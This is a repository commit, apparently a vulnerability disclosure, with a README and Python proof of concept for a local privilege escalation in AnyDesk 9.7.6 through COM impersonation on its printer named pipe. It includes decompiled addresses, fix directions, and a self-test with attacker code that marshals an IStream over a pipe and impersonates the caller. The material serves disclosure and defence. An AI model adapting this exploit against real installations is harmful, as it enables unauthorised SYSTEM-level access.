Upload files to "anydesk-printer-com-impersonation-poc"

anydesk-printer-com-impersonation-poc/README.md

@@ -0,0 +1,109 @@
+# AnyDesk 9.7.6 Printer Pipe COM Impersonation PoC
+
+This repository documents and validates a local privilege-escalation primitive identified in AnyDesk for Windows 9.7.6.
+
+The issue is in the local printer IPC path. The service-side printer worker creates `\\.\pipe\adprinterpipe`, accepts a message containing attacker-controlled COM marshaling bytes, unmarshals an `IUnknown`, queries `IStream`, and calls `IStream::Read`. Because the process initializes COM with impersonation level `RPC_C_IMP_LEVEL_IMPERSONATE`, the attacker-controlled COM object can impersonate the AnyDesk process during the callback.
+
+## Affected Target
+
+- Product: AnyDesk for Windows
+- Version analyzed: 9.7.6
+- Release date observed from vendor changelog: 2026-06-15
+- Official download sample SHA256: `d83236fad1405ff369f16ad12b684a30177fe81c47c1f824f9fea6b74d64cc4a`
+- Runtime payload architecture: 32-bit Windows PE
+
+## Impact
+
+When AnyDesk is installed as a Windows service, the service install path uses `CreateServiceW` with `lpServiceStartName = NULL`, so Windows runs the service as LocalSystem by default. A low-privileged local user that reaches the printer pipe can provide a marshaled `IStream` and receive a COM callback from the AnyDesk process. During that callback, COM impersonation allows the attacker-side object to impersonate the caller.
+
+The practical impact is local privilege escalation from a low-privileged local user to the AnyDesk service identity. In the default installed-service case, that identity is `NT AUTHORITY\SYSTEM`.
+
+## Evidence Summary
+
+The following locations were identified in the reconstructed 9.7.6 runtime image:
+
+| Area | Evidence |
+| --- | --- |
+| Pipe creation | `FUN_0100f190` creates `\\.\pipe\adprinterpipe` with `CreateNamedPipeW` |
+| Pipe ACL | `0x100f206-0x100f229` builds `S-1-1-0`; `0x100f37b-0x100f38a` grants `GENERIC_ALL` |
+| Pipe worker | `FUN_0100ed60` starts the worker and dispatches reads |
+| Read boundary | `FUN_0100e9f0` reads up to `0x1000` bytes from the pipe |
+| COM unmarshaling | `FUN_0100e6e0` copies attacker bytes to an `HGLOBAL`, calls `CreateStreamOnHGlobal`, then `CoUnmarshalInterface` |
+| Interface callback | `FUN_0100e6e0` queries `IID_IStream`; `FUN_0100e520` calls `IStream::Read` |
+| COM security | `0xf71fef-0xf72005` calls `CoInitializeSecurity` with impersonation level `3` |
+| Service identity | `0xf6799e` calls `CreateServiceW` with a null service account argument |
+
+## PoC Design
+
+`poc.py` contains two validation paths:
+
+- `analyze`: static marker check against an AnyDesk runtime PE.
+- `selftest`: local two-process harness that reproduces the same COM flow: pipe message, `CoUnmarshalInterface(IUnknown)`, `QueryInterface(IStream)`, and `IStream::Read`.
+
+The self-test prints the identity impersonated by the attacker-controlled `IStream::Read` implementation. This validates the COM impersonation primitive without modifying AnyDesk or launching elevated commands.
+
+## Requirements
+
+- Python 3.10 or newer
+- Windows for `selftest`
+- `pywin32` for COM and named-pipe APIs
+
+Install dependencies:
+
+```powershell
+python -m pip install -r requirements.txt
+```
+
+## Usage
+
+Run the local COM impersonation self-test:
+
+```powershell
+python poc.py selftest
+```
+
+Expected output shape:
+
+```text
+[attacker]
+PROBE_IMPERSONATED=DOMAIN\User
+[victim]
+VICTIM_READ_COMPLETE
+```
+
+Run static marker analysis against a local AnyDesk runtime PE:
+
+```powershell
+python poc.py analyze path\to\AnyDesk-runtime.exe
+```
+
+Expected output shape:
+
+```json
+{
+  "markers": {
+    "pipe_name_utf16": true,
+    "iid_iunknown": true,
+    "iid_istream": true,
+    "co_unmarshal_import": true
+  }
+}
+```
+
+## Root Cause
+
+The IPC boundary trusts a pipe client enough to supply marshaled COM object data. COM unmarshaling can create a proxy to an attacker-controlled local COM server. Any method call on that proxy crosses back into attacker-controlled code. Since the AnyDesk process configures COM with impersonation enabled, the server side of that callback can impersonate the AnyDesk caller.
+
+The pipe ACL expands the local attack surface by allowing `Everyone` access. The service identity then raises the impact because the installed service runs as LocalSystem by default.
+
+## Fix Direction
+
+- Do not accept marshaled COM interfaces from low-privileged pipe clients.
+- Replace the marshaled `IStream` handoff with a byte-oriented protocol owned by the service.
+- Restrict the pipe DACL to the exact intended service/user SID set.
+- If COM must remain, use a lower impersonation level and enforce caller identity checks before unmarshaling or invoking attacker-provided interfaces.
+- Add regression tests for pipe DACLs and COM security settings.
+
+## Validation Status
+
+The COM impersonation primitive is validated by the included harness. Static analysis ties the same primitive to the AnyDesk 9.7.6 printer pipe path. A live installed-service VM should be used for final vendor-grade confirmation of the `NT AUTHORITY\SYSTEM` identity in the real service context.

anydesk-printer-com-impersonation-poc/poc.py

@@ -0,0 +1,216 @@
+import argparse
+import ctypes
+import json
+import os
+import pathlib
+import struct
+import subprocess
+import sys
+import time
+import uuid
+
+
+def utf16le(value):
+    return value.encode("utf-16le")
+
+
+def analyze_binary(path):
+    data = pathlib.Path(path).read_bytes()
+    markers = {
+        "pipe_name_utf16": utf16le(r"\\.\pipe\adprinterpipe") in data,
+        "print_default_ascii": b"ad.security.print=true" in data,
+        "service_mode_utf16": utf16le(" --service") in data,
+        "iid_iunknown": bytes.fromhex("0000000000000000c000000000000046") in data,
+        "iid_istream": bytes.fromhex("0c00000000000000c000000000000046") in data,
+        "co_unmarshal_import": b"CoUnmarshalInterface" in data,
+        "co_initialize_security_import": b"CoInitializeSecurity" in data,
+        "create_named_pipe_import": b"CreateNamedPipeW" in data,
+        "create_service_import": b"CreateServiceW" in data,
+    }
+    result = {
+        "path": str(path),
+        "size": len(data),
+        "markers": markers,
+        "matched": sum(1 for value in markers.values() if value),
+        "total": len(markers),
+    }
+    print(json.dumps(result, indent=2))
+    return 0 if result["matched"] >= 7 else 1
+
+
+def impersonated_user():
+    import win32api
+    import win32con
+    import win32security
+
+    ole32 = ctypes.OleDLL("ole32")
+    hr = ole32.CoImpersonateClient()
+    if hr < 0:
+        return f"CoImpersonateClient failed: 0x{ctypes.c_ulong(hr).value:08x}"
+    try:
+        token = win32security.OpenThreadToken(win32api.GetCurrentThread(), win32con.TOKEN_QUERY, True)
+        user_sid, _ = win32security.GetTokenInformation(token, win32security.TokenUser)
+        name, domain, _ = win32security.LookupAccountSid(None, user_sid)
+        return f"{domain}\\{name}"
+    finally:
+        ole32.CoRevertToSelf()
+
+
+class ProbeStream:
+    _com_interfaces_ = []
+    _public_methods_ = [
+        "Read",
+        "Write",
+        "Seek",
+        "SetSize",
+        "CopyTo",
+        "Commit",
+        "Revert",
+        "LockRegion",
+        "UnlockRegion",
+        "Stat",
+        "Clone",
+    ]
+
+    def Read(self, count):
+        print(f"PROBE_IMPERSONATED={impersonated_user()}", flush=True)
+        return b""
+
+    def Write(self, data):
+        return len(data)
+
+    def Seek(self, move, origin):
+        return 0
+
+    def SetSize(self, size):
+        return None
+
+    def CopyTo(self, other, count):
+        return (0, 0)
+
+    def Commit(self, flags):
+        return None
+
+    def Revert(self):
+        return None
+
+    def LockRegion(self, offset, count, lock_type):
+        return None
+
+    def UnlockRegion(self, offset, count, lock_type):
+        return None
+
+    def Stat(self, flags):
+        return None
+
+    def Clone(self):
+        return None
+
+
+def marshal_probe_stream():
+    import pythoncom
+    import win32com.server.util
+
+    pythoncom.CoInitialize()
+    ProbeStream._com_interfaces_ = [pythoncom.IID_IStream]
+    obj = win32com.server.util.wrap(ProbeStream(), pythoncom.IID_IStream)
+    stream = pythoncom.CreateStreamOnHGlobal()
+    pythoncom.CoMarshalInterface(stream, pythoncom.IID_IUnknown, obj, pythoncom.MSHCTX_LOCAL, pythoncom.MSHLFLAGS_NORMAL)
+    size = stream.Seek(0, 1)
+    stream.Seek(0, 0)
+    return stream.Read(size), obj
+
+
+def attacker(pipe_name):
+    import pythoncom
+    import win32con
+    import win32file
+
+    payload, keepalive = marshal_probe_stream()
+    message = struct.pack("<IIB", 1, len(payload), 1) + payload
+    handle = win32file.CreateFile(pipe_name, win32con.GENERIC_READ | win32con.GENERIC_WRITE, 0, None, win32con.OPEN_EXISTING, 0, None)
+    try:
+        win32file.WriteFile(handle, message)
+        deadline = time.time() + 8
+        while time.time() < deadline:
+            pythoncom.PumpWaitingMessages()
+            time.sleep(0.02)
+    finally:
+        keepalive = None
+        win32file.CloseHandle(handle)
+
+
+def victim(pipe_name):
+    import pywintypes
+    import pythoncom
+    import win32file
+    import win32pipe
+
+    pythoncom.CoInitialize()
+    pythoncom.CoInitializeSecurity(None, None, None, 0, 3, None, 0, None)
+    pipe = win32pipe.CreateNamedPipe(pipe_name, 3, 0, 1, 0x1000, 0x1000, 15000, None)
+    try:
+        try:
+            win32pipe.ConnectNamedPipe(pipe, None)
+        except pywintypes.error as exc:
+            if exc.winerror != 535:
+                raise
+        _, data = win32file.ReadFile(pipe, 0x1000)
+        command, length = struct.unpack("<II", data[:8])
+        payload = data[9 : 9 + length]
+        if command != 1:
+            raise RuntimeError(f"unexpected command {command}")
+        stream = pythoncom.CreateStreamOnHGlobal()
+        stream.Write(payload)
+        stream.Seek(0, 0)
+        unknown = pythoncom.CoUnmarshalInterface(stream, pythoncom.IID_IUnknown)
+        istream = unknown.QueryInterface(pythoncom.IID_IStream)
+        istream.Read(32)
+        print("VICTIM_READ_COMPLETE", flush=True)
+    finally:
+        win32file.CloseHandle(pipe)
+
+
+def selftest():
+    if os.name != "nt":
+        print(json.dumps({"error": "selftest requires Windows"}, indent=2))
+        return 2
+    pipe_name = rf"\\.\pipe\ad_printer_com_probe_{uuid.uuid4().hex}"
+    script = os.path.abspath(__file__)
+    victim_proc = subprocess.Popen([sys.executable, script, "victim", pipe_name], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
+    time.sleep(0.8)
+    attacker_proc = subprocess.Popen([sys.executable, script, "attacker", pipe_name], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
+    attacker_out, _ = attacker_proc.communicate(timeout=12)
+    victim_out, _ = victim_proc.communicate(timeout=12)
+    print("[attacker]")
+    print(attacker_out.strip())
+    print("[victim]")
+    print(victim_out.strip())
+    return attacker_proc.returncode or victim_proc.returncode
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    sub = parser.add_subparsers(dest="mode", required=True)
+    sub.add_parser("selftest")
+    analyze = sub.add_parser("analyze")
+    analyze.add_argument("binary")
+    victim_parser = sub.add_parser("victim")
+    victim_parser.add_argument("pipe")
+    attacker_parser = sub.add_parser("attacker")
+    attacker_parser.add_argument("pipe")
+    args = parser.parse_args()
+    if args.mode == "selftest":
+        raise SystemExit(selftest())
+    if args.mode == "analyze":
+        raise SystemExit(analyze_binary(args.binary))
+    if args.mode == "victim":
+        victim(args.pipe)
+        return
+    if args.mode == "attacker":
+        attacker(args.pipe)
+        return
+
+
+if __name__ == "__main__":
+    main()

anydesk-printer-com-impersonation-poc/requirements.txt

@@ -0,0 +1 @@
+pywin32>=306; platform_system=="Windows"